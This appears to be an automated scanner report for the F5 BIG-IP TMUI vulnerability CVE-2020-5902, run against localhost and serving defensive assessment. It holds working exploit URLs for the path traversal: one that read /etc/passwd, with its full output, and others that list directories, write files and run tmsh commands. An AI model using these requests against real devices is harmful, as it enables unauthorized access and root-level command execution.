Big-IP Vulnerability Scanner (CVE-2020-5902) Report

✔ 127.0.0.1

Summary

Overall risk level:

High

Risk ratings:

High:	1
Medium:	0
Low:	0
Info:	0

Scan information:

Start time:	2020-07-14 14:39:18 UTC+03
Finish time:	2020-07-14 14:39:19 UTC+03
Scan duration:	1 sec
Tests performed:	1/1
Scan status:	Finished

Findings

Remode Code Execution in F5 BIG-IP (CVE-2020-5902) (port 80)

While probing for this vulnerability, the following file was retrieved from the remote BigIP server:
http://127.0.0.1:80/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
tmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin
admin:x:0:500:Admin User:/home/admin:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/local/pgsql/data:/sbin/nologin
f5_remoteuser:x:499:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
apache:x:48:48:Apache:/usr/local/www:/sbin/nologin
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin
mysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin
named:x:25:25:Named:/var/named:/bin/false
qemu:x:107:107:qemu user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
sdm:x:498:495:sdmuser:/var/sdm:/bin/false
ntp:x:38:38::/etc/ntp:/sbin/nologin
syscheck:x:199:10::/:/sbin/nologin
restnoded:x:198:198::/:/sbin/nologin
twister5:x:0:500:twister5:/home/twister5:/bin/bash
```

Details

Risk description:
The target F5 BIG-IP device is affected by a Remote Code Execution vulnerability in its Traffic Management User Interface (TMUI) component, which is publicly accessible.
The vulnerability can be easily exploited to execute arbitrary commands on the target device with root privileges. This test did not attempt to execute any code on the target but it succeeded in reading the /etc/passwd file.

To further validate this vulnerability, the following links could be used:

List directory contents:
http://127.0.0.1:80/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/tmp/

Create a file:
http://127.0.0.1:80/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=test
Execute build-in commands:
http://127.0.0.1:80/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user

More details about this vulnerability:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902
https://pentest-tools.com/blog/big-ip-tmui-rce/
https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/
https://research.nccgroup.com/2020/07/12/understanding-the-root-cause-of-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902/

Recommendation:
We recommend upgrading your BIG-IP appliance to the latest version, which mitigates this vulnerability. Public configuration workarounds may not be that effective because they can be bypassed.

Scan coverage information

List of tests performed (1/1)

- ✔ Scanning for BIG-IP CVE-2020-5902 vulnerability...

Scan parameters

Target:	127.0.0.1
Port:	80